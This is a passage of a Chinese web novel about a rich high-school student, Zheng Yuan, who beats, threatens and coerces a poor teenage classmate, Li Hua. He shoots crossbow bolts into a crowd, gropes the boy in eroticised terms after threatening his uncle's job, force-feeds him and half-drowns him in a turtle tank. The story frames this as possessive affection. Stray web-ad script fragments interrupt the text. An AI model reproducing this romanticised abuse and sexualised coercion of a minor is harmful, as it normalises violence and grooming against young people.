那要是真动手还得了。于洋受不了了，转头找李华，李华还在专注的写题，两耳不闻窗外事，完全不知道发生了什么。他找到李华给他郑源的电话号码，让他等会儿看他手势，或者听他喊他名字，万一事儿不对赶快给郑源打电话，李华不理解，茫然地说不是应该报警吗？王玉代交代自己的是报警来着。难道郑源比警察还顶用。
于洋说别听他的，听我的。话音刚落，就听机车轰鸣，来了好几辆摩托车，每辆摩托车上都载两三个年轻孩儿，手里提着钢管，紧身衣紧身裤，一个个表情邪魅，染着五颜六色的头发，很标准的社会小流氓的装扮。王玉代一整个大爆笑，嘲笑对方找来一些什么垃圾。
对方当家的也说话了，说：“我们打你还得赔医药费呢，他们打你顶多局子蹲两天，医药费一分没有，要命一条，随你妈的便。”
王玉代的笑有些僵了，这大概就是不会打架的怕会打架的，会打架的怕不要命的。命都不要了，本身就是一群混子，还能有为什么威胁到他，一个个吃了这顿没下顿，家在偏远的农村，恨不得家里人都不认。
对方看王玉代无话可说了，走过来拍拍他的脸，“说话啊，你妈的得意个什么劲啊？”
王玉代拍开他的手，瞥了眼场上的人，他们人数上占下风就算了，还没拿东西，真打起来胜负了然，但是都逼到这份儿上了，再怂岂不是让人嘲笑一辈子。他咬着牙，说：“操你妈，你妈被狗操了。”
对方骂了一声，抡起棍子就打了过来，这算是动手了，王玉代转身就跑，后头的人没他灵活，挨了一棍，恼火，转身赤手空拳地跟人干起来，这群太子爷也不是吃素的，家里花钱供着，有几个学过防身的，还真能跟对面打成平手，特别是郑源喊来那几个，虽然从头到尾跟自己没什么关系，但是大他们一两岁，还有心思护着几个小学弟不被找麻烦。
只是剩下的就不怎么行了，于洋看形势不对，还没来得及喊李华呢，背上就挨了一棍，疼的他呲牙咧嘴，转身把人扑到地上厮打起来。王玉代看躲不了，自己又是目标之重，一边跟人纠缠一边威胁：“打我，让你妈赔的倾家荡产！”刚说完脸上就挨一拳。
两拨人打的混乱难分，李华作为从头到尾的局外人也不能幸免。他本身是想
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先打110，再给郑源打电话，结果110都还没打出去，放在石头上的数学题突然被人踢走，他就一个愣神，笔又被不知道谁踩断，他连忙抱着书包起身，警惕地想跑，远离这里，这些人打架打的乱跑，有的逃有的追，有的满口脏话有的提着棍子乱飞，人数又多，李华躲都没地方躲，好不容易藏起来，手机刚拿出来就有人揪住他的领子：“跟他们一伙儿的吧，小子，操你妈。”
李华瞪着眼红着脸挣开他的手，说不出脏话，又被气的不能行，脑子转的飞快，想起自己最不喜欢被人说的话，反唇相讥，“你长的丑！丑的要死！丑八怪！”
对方瞪大眼，脸瞬间红爆炸，他可能是长的真有点丑，瞬间被人戳到痛脚，一拳挥了上去，正中李华的鼻梁，他瞬间疼的哀嚎一声，蜷缩在地上，流着鼻血被人拳打脚踢。
王玉代正逃命，一看这边的情况，吓的魂儿都散了，也不知道哪儿的勇气，冲过去就把人拦下了，挡在李华跟前：“这他妈郑源的人你也敢打，你他妈活的不耐烦了！”
对方冷笑：“郑源？哪个？什么狗娘养的？”
有车来了，停在烂尾楼下，黑车，于洋趁乱打的电话，郑源从车上下来，还穿一身浅色的衣裳，跟这儿的脏乱差完全不能比，他们看着他，他身后还跟着两辆车，一辆商务，一辆面包，人陆续从车上下来了。他嫌弃地踏入他们的战场，脚上的名牌鞋闪闪发亮，跟新买的似的一尘不染，他扫了一圈，皱着眉往前走，众人不由自主给他开了条路，他捡起了一根断裂的笔，已经布满灰尘，又从不远处的角落里捡到撕扯成破烂的数学书。
他的眼神像鹰似的准确捕捉到人们身后的李华。
李华捂着鼻子看着他，眼睛有点肿，王玉代站在他身边呼吸都屏住了。郑源朝他走过来，眼里的嫌弃不加掩饰，甚至更浓重，他说：“你不是说你星期六不能出来吗？”
他先问了这个问题，李华没反应过来，还没说话，脸上就挨了一巴掌，郑源扇的，他瞪大眼，鼻血顺着下巴流，郑源又说，“你还挺喜欢多管闲事儿。”
李华张张嘴，刚说话肚子上就又挨一脚，他踉跄地跪在地上，郑源走过去抓住他的头发把他往前拖，李华疼的要死，抓着他的手腕，把他的衣服袖子抓皱抓脏，郑源把他拖到黑轿旁塞进车里，从副驾驶拿出一把弩。
李华浑身疼的要死，想吐，但是扒着车窗看着，他想下车，但是车门反锁。他只能看到郑源站在他旁边，拿起弩瞄准那群人，眯着眼，笑了一声：“射到谁算谁倒霉。”
13. 13
李华太疼了。他疼的看郑源射箭都是模糊的。他像个射猎的猎人，面对一群四处逃窜的猎物，带着漫不经心地唾弃与厌恶，手里的箭毫不犹豫的射出去，李华隔着车窗都能听到他们的惨叫，惊心动魄，得比他这疼多了。
他使出全身力气，也只是敲了敲车窗而已。却因为手上沾着血留下一个血印，他无措地用衣服蹭，想擦掉。郑源眼的余光看到他，将手里弩扔给别人，转身上了车，李华有点怕他，怕再挨打，还没往旁边躲就被他拽过去，李华挣扎，郑源捏着他的下颚，皱着眉，离他极近地看他的鼻梁，看的李华不敢直视他的目光。
“去医院。”他说。
司机载着他们扬长而去。李华欲言又止，有点担心留下的人，郑源冷笑着生气，掀开他的上衣就要看，李华吓一跳，猛地推他，被郑源反手摁在怀里，疼的眼泪都下来了，他挣扎不过，喘息声很重，郑源撩起他的衣服，看他白嫩的皮肉上青一块儿紫一块儿，眉头紧皱，路过药店时让司机滚下去买药膏。
他拧开药膏摊在手里，轻轻抚摸着李华的腹部抹了上去，李华的脸很红，别开头不看，郑源倒心无旁骛，衣服再往上撩一点就到隐私部位了，郑源看他跟被糟蹋的黄花闺女一样备受屈辱，也没那个心思挑逗，就看着他身上的伤窝火，他很生气，气的一句话都不想说，给李华抹了药就放开了他，大有让他哪儿远滚哪儿的架势。
但是李华真的要远离他了，他又更气了，拽着人坐在腿上，再不情愿也没办法。他本来在家里睡觉，一通电话他的打火冒三丈，觉没睡好，人也受伤，他抵着李华的肩窝，也不嫌他在地上摸爬滚打的脏，搂着小憩。李华僵硬的跟个钢板似的，身累心也累，直到车停下，郑源放开他，他才感到轻松。
郑源领着他去看鼻子，包扎，出医药费，全程不问他的意见也不需要他的意见，他只用听着等着服从安排，直到一整套救治业务下来，他身上的伤大大小小全被治疗，郑源还抽空提起他的手，让医生看看他之前被自己掰的手腕怎么样了。拿了药，吃的喝的抹的一整套，李华看着他的钱流水似的往外扔，没一会儿就两三千，腿都软了。
郑源远离了医院，说：“你不是说你舅不让你出来么。”
他又问这个问题。李华不知道他有什么好纠结的，但也实话实说：“王玉代说是篮球比赛，说怕对方打他们，让我藏起来打110。”
郑源说：“你是他的狗，你这么听他的话。”
李华无话可说。
他不说话，郑源直接暴怒，他怒的又不能打李华，干脆一脚踹上了车，差点踹出个脚印，司机在一旁低着头不吭声，李华震惊，看看他，又看看车。
“看什么？”郑源逼近他，“我发现你挺有意思，我喊你你这也不行，那也不行，他一喊你你就出来，怎么，对我有意见，对他没意见？”
李华往后退，挨着车，郑源说：“说话，憋气不吭干什么？你们真他妈那么有骨气给我打什么电话打电话？用我的人，还念不着我的好，李华，你爸妈就这么教你的？”
李华听不下去，转身要走，郑源拽着他：“跑什么？不说话是因为没脸说话吧？今天我不去你走的了吗？会被打成什么样你想过吗？知道为什么他们让你给我打电话吗？”
李华停住，他真不知道。
郑源说：“因为报警，你，你们，都得去警察局录笔录，伤的重了轻了都得算赔偿，他们家里认识人，你呢？你一村里来的认识谁？知道这片是什么分局吗？知道局长是谁吗？市里面领导说得上名的有几个？不怕上着学留案底是吧？”
李华瞳孔放大，有些分崩离析，郑源松开他，带着恶意地嘲笑他，“到时候让你舅舅来，让你爸妈来，跪下磕几个头，说我们李华是好孩子，不会聚众斗殴，你就满意了。”
郑源说：“你就作，随便作，看看到时候谁管你。”
他坐上车离开，留李华自己站在那儿。面对这陌生的城市，李华是一个实打实的外人，他脸色苍白，紧紧地抿着唇，眼泪大滴大滴地落下，身上的疼已经算不上什么，他没有书包，没有手机，没有钱，什么都没有。他不知道怎么回家，不知道自己在哪儿，不知道怎么跟舅舅说话。
他的脑海里反复回荡着郑源这几句话，说没有震撼是假的，他完全想不到后果。他硬着头皮，顶着陌生人异样的目光往前走着，却在十字路口看到熟悉的黑车。
他走近了，司机看到他立马下车，微笑着说：“李华同学，上车吧。”
李华下意识看眼后排，司机心领神会，拉开车门，空空荡荡：“郑少爷已经走了。”
走了吗？李华抿唇，片刻后上了车。
司机不用他说，就准确无误地把他送到了地方，李华下车，看着老旧的楼层，叹了口气。
他上了楼，不想也不敢敲门，又下来了。
坐在角落里等到天擦黑，才做足心理准备又上去了。
还没敲门，听到里面欢声笑语的。李华莫名，敲了门，门开以后，眼都瞪大了。
“小华啊，你怎么才来啊，郑同学等你好长时间了。”
舅舅拉着他，看着他这一身伤直叹
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气：“疼不疼啊？”
李华张张嘴，结结巴巴：“他，他。”
郑源安稳地坐在沙发上，还笑着呢，看了他一会儿才站起身，“真是不好意思李华同学。”他说：“我已经跟舅舅说明情况，也赔礼道歉了，不是故意伤到你的。”
说着，他看了眼茶几上的信封，李华顺着他的目光看去，没有封口的信封里是一张张百元大钞，把信封撑的鼓囊囊的，而沙发旁，是五六箱补品，全是一等一的好东西。
“郑同学真是个好孩子啊。”舅舅满眼羡慕，“年纪轻轻，这为人处事儿，谈吐，气质，甚至这身高长相，都是一顶一的好。”
他说的话不是假的，他是真喜欢这样的孩子。也致力于并希望李华也变成这样的孩子。
不仅如此，郑源还向他透露了自己背景雄厚，认识不少人这一事实，惹的舅舅开心大笑，有种虽然李华受了伤，但是他们也因祸得福，攀上了高枝的喜悦。
李华像提线木偶，被舅舅摁在郑源身边坐着，还嘱咐同学之间要友好相处，不能闹矛盾。郑源翘着二郎腿，懒洋洋地看他僵硬的身体，手贱的摸他的背，虽然隔着衣裳，还是让李华感觉恐怖，像一只硕大的蜘蛛趴在他的身上，蛛丝一圈一圈地缠绕他的脖颈，让他窒息，说不出话。
“我救了你。”郑源在他耳边说，“你不感谢我？”
舅舅在厨房做饭，李华一动不动，只有睫毛在颤抖。
“书包和手机都给你买了新的。”郑源大发慈悲，善良体贴，“今天的事儿我就不计较了，你作为回报，是不是得给我点儿什么？”
李华扣着手，声音很轻，说：“你想要什么。”
郑源靠近他：“去你的卧室，让我抱一会儿，别反抗。”
李华艰难地吞咽唾沫，看着舅舅的背影，想站起身大喊，郑源在他身后适当地威胁，“你舅舅在水厂上班，是吗？”
李华闭闭眼，认命地去了卧室，刚关上门，郑源就像蚂蝗一样缠了上来，将他抱的严严实实，鼻尖埋在脖颈处，手也不规矩的乱摸，李华鬓角出汗，红着脸，感觉热，还是忍不住推他，郑源却闻起了他的耳朵，一股酥麻又痒的感觉让李华腿抖，发软，他喘息着躲，灼热的呼吸喷洒在耳骨、耳垂处，李华受不了的抓紧他的衣服：“别……”
郑源刚张嘴，想咬，就听到舅舅在喊他们。估计是饭做好了。郑源垂眸看着他，放开他，收拾收拾衣服，一句话都没说，出去了。李华靠着墙呼吸，看到正面镜子里的自己，眼眶湿润，脸蛋通红，胸膛起伏，他脚下一软，坐在了地上。
14. 14
郑源晚上在李华家吃的饭，吃完就走了，没多停留，跟李华也是普通同学关系似的，反而跟他舅聊的多。李华夹在中间沉默，像个插不上大人说话的小孩儿。他舅一听郑源是年级第一，更喜笑颜开了，推着李华让他跟郑源好好学，郑源毫不吝啬地跟他分享自己的学习心得，想到什么似的，说明天周天，他的外教来上课，如果李华不排斥，可以跟他来听课。
这是多好的机会啊，外教，他们一家都请不起的学习资源，舅舅期盼地看着李华，李华咬着筷子低着头，郑源笑着，很从容，李华被看的受不了了，说不用，被他舅打断：“怎么不用？多好的学习机会啊！”
他舅笑着跟郑源说：“李华这孩子就是内向，不会说话，但是很爱学习，非常用功。”
郑源说：“我知道，没关系，我明天来接他。”
临走时，还懂事乖巧的和舅舅道别。
李华看着他，感觉压抑。
他回卧室时，路过餐桌边的垃圾桶，看到郑源根本没吃多少，夹在碗里的，大部分都扔了。
他感觉不好，浪费，又虚伪，拉着舅舅看，舅舅说：“人家什么养尊处优的身份，能在咱这儿吃顿饭就不错了。”他说：“其余的不要管，好好跟他学就好了。”可以不要管吗？李华不明白。
回到卧室，他辗转反侧，洗漱困难不说，一躺床上哪儿都疼，郑源给他新买的手机是触屏的，他没用过，也不会用，还是想要自己以前的，上面有爸妈的电话，还有短信呢。他脑袋放空，又一团乱麻，睁眼闭眼都是今天，那些人怎么样了？怎么会突然打起来？王玉代呢？郑源怎么出现的？他拿的是什么？他们走以后呢？每一个问题都像针似的见缝插进他的思绪，转移他的注意力，以前这些他从来不会想的，但是所有的矛头都指向了一个，郑源。
他们之间的接触越来越多了，矛盾和纠葛，自己现在欠他的也很多，仿佛还不清了。但是李华感觉难过，他每天被强迫，不是被强迫跟他在一起，就是强迫一些肢体接触，他受不了了，他内心是怕他的，无论是他随意彰显出的势力，还是他随便动用的武力，都让李华感到巨大的压迫，这样一个他唯恐避之不及的人每天都要抱他，抱的非常紧，甚至是闻他，摸他，哪怕隔着衣裳，李华也起一身鸡皮疙瘩，头皮都在发麻，他不自在，不开心，不舒服。
他就那么睡着了，第二天浑身更酸疼了，连眼都是肿的。但他不能赖床，因为郑源已经到了。他还要被迫穿衣裳，下床面对他。舅舅嘱咐他两句就把他送到了车上。刚坐上车，郑源就拍了拍他的腿，示意李华坐他腿上。
李华受不了了，他越来越往车门靠，手都抓上了把手，郑源穿着一身黑衣裳，安静地看着他，手上的iPad都合上了，疑问似的：“你想跳车吗？”
李华的形象是非常惨烈的，他包着鼻子，手腕，瘦的像个树叶似的，眼睛红肿，下巴呲伤，连侧脸都有些痕迹，郑源向他靠过去，就像一座山似的，李华疯狂拽着门把手，真想跳车了，郑源坐到他身边，笑他的愚蠢，“你在干什么？大早上犯神经？”
李华背对他，郑源从后向前掰着他的手，把人的手都掰下来了，就那么把人搂着，把他困在自己和车门之间，几乎是压着，他的心在跳，他好好的感受了一下，李华却僵硬着，脸都要被挤压在玻璃上，眼前的风景飞快地掠过，他都喘不上气了。
郑源说：“为什么想跳车？”
李华苍白着脸不说话。
郑源说：“不想看见我？”
李华还是不说话。
他又开始聋了。
郑源目光沉沉地看着他，想了个方法，他和李华的手相交叉，逐渐用力，像上刑似的，那细长的指节很快泛起尖锐的疼，李华忍不住躲，却偏偏躲不掉，郑源死死地搂着他，看他疼的皱起眉头，想要乱窜，痛苦地抿着唇，有些崩溃了，“你别抱我。”
郑源却说：“好好对你你听么？跟你商量你不配合啊。经过昨天我知道了，你就是贱的。”
他松开手，也松开他，李华得以握着手喘息，
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紧紧地贴着车门，像是想和车融为一体或者从什么细小的缝渗透出去。
没有多久，车停了，郑源率先下车，这是李华第一次来到郑源住的地方，安全系数非常高的小区，一套仿别墅的小公寓，就住了他自己，整体装修偏暗，连灯都是不怎么亮的。
李华站在门口不想进，郑源说你知道这是哪儿吗？你也可以跑回家，不过小心死半路上。
李华进来了。他看到郑源去冰箱拿了一箱像肉似的东西往里走，忍不住好奇地跟过去了，见有间房间放着一个大鱼缸，大的几乎要把房间都占满了，透明的玻璃，碧绿的水草，里面养着一只巨大的鳄龟。李华震惊了，那背上满是凸起的刺，上面缠着水草，还有密密麻麻的痕迹，疙疙瘩瘩的肢体，张着锋利尖锐的口，大口大口地吃鱼缸里带血的生肉。
他怕的连连后退，退到郑源身上。他回头，郑源不知道什么时候一直站在他身后。
“好看吗。”郑源问他。
李华摇头。
郑源说：“这是我的宠物。”
李华的表情很排斥。郑源说是这是他三年前买的，买的时候还没有这么大呢。
李华就那么听着。郑源说：“你可以把手伸进去，他会咬你，把你的手咬掉。”
李华神情复杂：“我想出去。”
郑源哈哈大笑，让他出来了，关上门，洗了手，说：“助教还有三分钟就到了。”
李华坐在沙发上，郑源站在他面前，想伸手摸他的脸，李华躲了。郑源问：“脸疼吗？”
李华不知道他问这个干什么，有些茫然地看着他，两个人离挺近的，郑源说：“不要跟他们玩了，不然我还会打你的。”
李华皱眉，沉默了。
郑源一看他这表情就知道他想反抗了，“你想说什么就说，不用忍着。”
李华就说：“你凭什么管我？凭什么打我？我不——”
郑源捂住他的嘴，甚至想拿胶带封住他的嘴。
“你果然是贱的。”
15. 15
从小到大，李华听到过最重的话就是从郑源嘴里蹦出来的，他说他贱，但是哪怕在农村，那些小孩儿再嘲讽他，也只是说他脸上有坑，长的丑。丑跟贱怎么能比呢？一个是外貌攻击，一个都上升人身侮辱了。李华很生气，他想不到自己有得罪郑源的地方，他看自己不顺眼，让自己滚不好了？在他的地盘，他忍了忍，还是没忍住，打开郑源的手：“我要回家！”
他很生气，本来就憋屈委屈的心情瞬间爆发，十几岁的年龄，什么都沉不住，睡不好不说，身上还疼，疼还得被骂，没人关心他，连舅舅都只看郑源虚假的表现，没有一个人体会他甚至是体谅他，他扭头就走，气势坚定地让郑源都愣了，他下意识抓住李华的胳膊，“你走什么走？我让你走？”
李华一言不发，但很震惊，他觉得郑源说的不是人话，顽强挣扎地对抗了一会儿，门铃响了，是外教到了。郑源把他拉回来，对上他愤怒的目光，识趣地没再说话。外教是个纯正的外国人，一开口就是一串流利的英文，嘟嘟噜噜的语速很快。这是李华第一次见外国人，微微瞪大眼，坐在沙发上老实极了，就像个听话的学生，郑源倒是懒洋洋地翘着二郎腿，回以同意流畅的外语，和外教对上话。
李华错愕地看着他。
他知道郑源英语好，但不知道有这么好。说实话，无论是书写还是听力，李华在学校都能接近满分，因为他单词记得全，语法肯用功，听力又吐词清晰，抑扬顿挫，所以难不到他，但到了真正的对话，他才慢半拍地反应过来，像大脑自动转换翻译似的，思索对方说的什么，怎么回他，但是郑源完全不假思索，像天生就会。
“看什么。”郑源注意到他的目光，顺带向外教介绍他。
外教是个四十岁左右的瘦高白人男子，拍拍李华的肩，说自己伦敦来的。面对李华，他说的是标准的普通话。
郑源说：“给我放个假吧，今天辅导他。”
他把学习的机会和任务推给李华，自己落得清闲，躲到一旁打起游戏，李华被赶鸭子上架，有些无措，好在外教很温柔，和他逐步对话，像是在摸他的英语基础。
李华很快全身心地投入进去，他自己也知道，这机会难得。
没有一个老师不喜欢听话认真，又虚心求教的学生，李华在学习方面非常不耻下问，因为每一次学习的机会对他来说都难能可贵，甚至需要上天眷顾才能求来。郑源玩了会儿就觉得没意思，托着下巴看他，盯了会儿就拿出手机偷拍他，无一不是他认真专注又珍惜渴望的神情。这个时候的李华非常乖，完全没有对抗他时浑身是刺的模样。郑源心里不爽，但很快又爽。
他哼着小曲儿躺在一旁，听两个人说话的声音，很快睡着，还睡的特别香。等两个人都学完了，才发现某人已经进入了梦乡，李华想去喊醒他，因为外教要走了，但是外教却阻拦了他，意思是让他睡吧。李华只能自己告别了老师，待在偌大的屋里，回想着刚才所学的，在脑子里复习，默背了好几遍。然后他想走，想回家。却没想到他刚一站起身，郑源就醒了，跟完全没睡着似的，“饿不饿。”他问。
李华看着他清醒的眼睛，“你不是睡着了吗？”
“没睡着。”郑源走向他，“学得怎么样，开心吗？”
李华抿抿唇，诚实地点头。
“你要喜欢，每个星期都让他教你。”郑源摸索着电话，“出去吃还是让人买回来？”
李华说：“我回家吃。”
“你家能有啥。”郑源鄙视，“那送上来吧，新开家饭店，还没尝过。”
李华无言。
他说：“我什么时候能回家？”
郑源说：“那不是你舅舅家？”
李华看着他，郑源说：“你舅舅家，不是你家，你家，还不如我家，所以呆在这儿吧，晚上再把你送回去。”
李华感到疲惫，在他还不知道心累这一词的时候，他只感觉没法和郑源沟通，因为沟通无效，下意识的，他开始保持沉默，听从安排，尽量不惹这尊佛生气，避免遭受折磨。
郑源向来是说一不二的，他点菜完全不需要征求李华的意见，自己看着点了一桌，有他爱吃的，也有他不爱吃的，有李华喜欢吃的，也有李华不喜欢吃的。
以至于李华看到饭菜的时候又震惊了：“这么多，吃的完吗？”
“吃不完扔了。”郑源说。
李华脸色不好看了，向来接受节俭教育的他开始反对排斥甚至痛恨了，更何况家里父母还都是农民，他语气不好地说：“浪费粮食可耻。”
郑源瞥他一眼，“你有病吧，吃就吃，哪儿那么多废话。”
“不吃。”李华被这么一刺，更生气了。
“噢，你不吃就不浪费粮食。”郑源对他莫名其妙的道德感不解，“这么有骨气给谁看，给粮食看？粮食会看？粮食有眼？”
他笑李华：“不是我说，我花了钱，我买回来这些，这是不是我的了？是我的，我想怎么处理怎么处理，有什么错？”
李华不说话。
郑源摁着他，“照你的说法，我买回来给你吃的，你不吃，你浪费粮食。”
他悠然自得地拆餐具，还是感慨，“我发现你们穷人，道德感就是强。”
李华匪夷所思：“你什么意思。”
“字面意思。”郑源说：“我第一次给你买药，你还给我，我就想了，没必要，来回几十块的事儿，我不在意，换成其他人也不在意，但是你就会在意，因为你就那几十块，以为我也就这几十块，但是李华，你的几十块，不是我的几十块，我丢钱都丢两三百，喂甜甜都上千，甜甜，屋里的，你刚见过它。”
这些话给李华很大的震撼，他沉默地盯着色香味俱全的饭菜，本来还饿，现在一点都不饿。
郑源说的很清楚，李华听懂了。他说自己最看重的，在郑源眼里什么都不是。他被教育的知恩图报、回馈好意、勤俭节约，在郑源眼里都是放屁。
“我要回家。”李华说不了为什么，他只想走，比刚才被气走的欲望还强烈，就是死到半路上他也想回家。
“还听不了实话。”郑源咬着排骨看着他，“你走吧。你舅舅会批评你，认为你跟同学友好相处这点小事都做不到。”
他将骨头吐了，看着他倔犟的背影，知道把人气太狠了，虽然他不觉得自己哪儿错了，但是他学聪明了，他在刚才看到李华认真听讲的时候学到了，这就是他比李华成熟的一点，在对方只会固执的用情绪来做决定，做一些直线选择的时候，他已经无师自通，自学成才迂回战术，曲线救国道：“这样吧。”
他降低姿态：“你好好在这儿吃饭，以后我不会再点这么多了。”
看李华不动，他又说：“下午带你去科技馆。”
李华只是看着带有密码锁的门：“我要回家。”
“……”
郑源安静了。
他看着他。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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李华也安静了。
他感到背后毛骨悚然的。
郑源站起来了。
李华听到椅子响了。
但是又没动静了。
李华的心提起来了。
他忍住回头的冲动，刚想说话，就被人狠狠地摁在门上，他一惊，磕到手腕，疼的呲牙咧嘴，郑源抓着还有些发烫的红烧肉塞他一嘴，手插进他的口腔让李华喉咙紧缩，腹部上翻，直干呕。
好香的肉，他下意识被逼出生理眼泪，香而腻，软而烂，郑源掐着他的后颈把他拖到餐桌旁，刚刚唯一一点模仿着外教的温柔语气烟消云散，他几乎是冷笑着把李华的脸摁在温热的米饭上，不顾他剧烈的咳嗽，弯腰看他：“吃。”
他松开李华，李华猛然往后甩，力道大的因惯性跌在地上，他迅速爬起来，抹掉脸上的饭粒，双眼通红，恶狠狠地盯着郑源，像一匹还未长大的狼。
“不吃。”他一字一顿，冲上去和郑源打在一起，两个人的身高、体重、力气都不是一个级别，李华很快被打的抱着脑袋蜷缩在地上，郑源踹了他两脚，把他拽起来，“我他妈不信治不了你。”
他拖拽着李华来到鱼缸旁，李华疯狂挣扎，郑源掀起鱼缸盖子，抓着他的上半身就往鱼缸里按，李华瞪大眼，看着水里绿莹莹的水草，那巨大的鳄龟朝他游来，像怪物般张着嘴，离他越来越近，窒息感憋的他胸腔阵痛，双腿不由自主发软，双手扑腾着求救，溅出的水花砸在郑源身上，他将李华拽出来，李华砸在地上，眼神惊恐，连嘴里都是腥味，他像是反应不过来发生了什么，紧紧地靠着墙，连郑源朝他走过来他都是后知后觉地吓一跳。
“还闹？”郑源蹲下来看着他，看他瞳孔放大，然后猛然爬在地上干呕，但他胃里什么都没有，只吐出来酸水，后吐出胆汁，他开始哭，抱着腿哭，从无声到痛哭，哭着喊爸爸妈妈，往外面爬。
郑源抱住了他。
抱起他。
把他抱到了卧室，一直抱，李华哭的止不住，眼泪蹭他一身，忘了挣扎。郑源不嫌弃他身上的味道，甚至靠着自己的体温都要把他暖干了，直到李华哭累了，安安静静的，眼更肿了。
郑源就那么抱着他，李华声音嘶哑，“放开我。”
郑源说：“不要。”
李华闭上眼，冷着一张脸。
郑源说：“吃饭行吗？”
李华摇头。
郑源说：“出去吃行吗？”
李华还是摇头。
郑源：“还是犟是吧？”
他作势要再来一次，李华抓住了他。
他害怕。
那种崩溃又绝望的感觉，他害怕。他说：“我吃。”
郑源满意了。下意识牵着他的手，来到桌边，还有些抱怨：“都凉了。”
他让李华坐在沙发上，自己好心情的把饭都热了。
李华去了卫生间，把脸和嘴洗干净，看着镜子里的自己，别开眼不看了，回来后郑源要他跟他坐在一起，李华坐了，郑源一直给他夹菜，李华也吃了，但是他觉得一点都不好吃了。那天下午郑源跟他说什么，他都是沉默而又呆愣的，郑源就没领他出去，反而是让他洗澡，给他找了一身衣裳，不到晚上就把他送回去了。
李华回到家，舅舅问他怎么样，李华说挺好的，就进屋了。
回到家，他坐在床上，眼泪啪嗒啪嗒地掉，又哭了。
这次是沉默的。
16. 16
星期一，李华晚去了几分钟，到班时低着头，很阴郁。他上交了作业，微微背对着同学，任谁都看不到他的脸。郑源转着笔，在学习委员走时拦着他，拿走了李华的作业翻了翻，然后把自己的递上去，两本放在一起。
早自习结束，李华趴在桌子上，脸埋在胳膊里，郑源蹲在他身旁，弯着腰低着头要从下面看他的脸，姿势很别扭，也很猥琐。李华没有动，郑源看到他皱着眉，闭着眼，问：“不舒服吗？”
李华不想理。
郑源急：“说话啊。”
李华就是当哑巴。以前只是聋，现在又聋又哑。郑源气的想打他，但是硬生生忍住了。他面色难堪地找了一圈，在不敢跟他对视的王玉代和正和前桌聊天的徐威之间选了一下，选了后者。
他大步向徐威走去，他不傻，李华只对自己这样，但凡换个人就会好。他走到徐威面前，正在跟徐威说话的前桌自觉的把脸扭回去，徐威莫名其妙地看着他，郑源脸色很差，态度也很不好：“你去看看李华。”
徐威啊了一声：“我啊？”
“让你去就去，哪儿那么多废话。”郑源烦得要死，“他不舒服，你问他怎么了。”
徐威再次莫名其妙，想说你去问不得了吗，但是也知道他不能惹，就离开座位问去了。郑源在第二排等着，看着徐威跟李华说话。李华轻微摇头，说没什么，就是无精打采的，没什么精神。
徐威看他脸色苍白，冒着虚汗，也知道他是真不舒服了，下意识凑近点问：“需要扶你去医务室吗？”
郑源的牙都磨响了。
李华本来想说不用了，但是也难受的有点受不住了，只能点头：“谢谢你。”
徐威说没关系，扶着他的胳膊跟他走出去。郑源想上前一步把人抢回来，但是理智又告诉他别这样，因为如果是他，李华指不定不愿意看病了。郑源要爆炸，上课铃打响，老师问徐威他们干嘛去，徐威说李华不舒服，扶他去医务室，老师又问郑源干嘛去，郑源冷笑一声说：“掏钱。”
李华没钱，徐威家里也一般，就是有钱也不一定愿意，让李华欠徐威的钱，还不如欠自己的，就他那一点帮助就感恩戴德的样，指不定把徐威当成什么。
他们在前头走，郑源在后头跟。李华跟徐威有一搭没一搭的闲聊，心情很放松，像是没想到这个同学还愿意理他，毕竟他之前那么对他，这也是唯一一个在大家明确感受到他被郑源针对后，还愿意帮助他的同学。他头脑昏沉，步伐飘忽，差点栽倒。郑源眼疾手快地扶了一把，李华刚想说谢谢，一看是他，抿了抿唇，没说话。郑源感觉王玉代说挺对的，自己就是贱的。他抽出来几百块钱塞给徐威，头也没回地走了。
“你跟郑源……”徐威看着怀里的钱，看看李华，又看看郑源离开的背影，“到底怎么了？”
李华摇摇头不说话。
徐威说好吧，快到医务室时，李华突然问：“他走了？”
“谁？”
李华看着他，徐威噢噢两声知道了，“郑源吗？刚才就走了。”
李华没说话，进了医务室，量体温，医生说他发着低烧的，最好打针吃药，李华以为是屁股上挨一针，却是让躺床上挂吊瓶，他有些不愿意了：“还得上课。”
“上课哪有身体重要。”医生笑他，“把病治好了才能学好不是吗？你是哪个班的，先躺下吧，我给你们老师打电话。”
“不用。”徐威说：“我等下回去给老师请假。”
医生这时候才注意到他，点头说也行。
徐威用郑源给的现金付了账，把剩下的钱给李华，李华说不要，徐威说拿着吧，万一还要买其他的呢，李华红着脸，他很不想接，但他的确没钱。徐威看他沉默，就将钱放床上，离开了。他没想过在这儿陪他，他的任务已经完成了。
结果他刚出医务室，就猛然被人拉住，他吓一跳，郑源摁着他，“李华呢？”
徐威说：“你不是走了吗？”
郑源说：“你他妈哪儿那么多废话，问你你就答，他怎么样了？”
徐威平白无故被拉来干活还挨骂，有些烦，但敢怒不敢言，“你自己去看看不得了。”
“你他妈找打？”本来就看他不顺眼，这下有理由揍他了。徐威连忙推开他，“李华发烧了，在那儿输水呢。”
郑源一听李华，还发烧了，注意力瞬间被吸走了，“医务室的医生可信吗。”他骂骂咧咧地走了，徐威揉着酸疼的肩膀，骂了两句也走了。
李华是知道郑源来了的。尽管他的动作很轻了，但压低声音和医生说话，把医生问的不耐烦的这种没有礼貌和教养以及素质的行为，只有他自己能做出来。李华闭着眼，只当睡着了，郑源悄无声息走到他身边，坐下，看着他苍白的脸，有些郁结。
太差了，他的身体太差了。
郑源想起什么似的，又去问医生：“你哪个大学毕业的？是211或者985吗？本科还是研究生？”
他向来看不上周遭的一切，人，同学，老师，学校，学校的饭堂，学校的医务室，所以他有什么事儿基本上都回家，生病了也不在学校看，而是私立医院的教授或者三甲医院的主任医师。
医生瞪着眼看他，被他问的震惊且倍感羞辱，头上浇油似的红白青着脸，就差火冒三丈。李华受不了了，他从没有见过这么没有礼貌的人，他睁开眼：“郑源。”
郑源诶了一声，闪现似的到了床边。
李华看着他，郑源关切地：“你怎么样？好点没有？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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李华说只是一个发烧。意思是他不用这么大阵仗，大动干戈，他都感到尴尬了，甚至还有点丢人，虽然他不知道为什么，但是他就是有这种莫名的情绪，让他感到羞，郑源不赞同：“发烧不是小事，低烧更不是。”
说着他就觉得这儿不靠谱，眉头一皱，就想干点什么。李华闭闭眼：“你坐着吧，好吗？”
意思是你不要乱动也不要再干点什么了，好吗？
郑源一听，开心了，有些得意洋洋的，他就知道李华离不开他。他嗯了一声，凑近他点儿，“你睡吧，我守着你。”
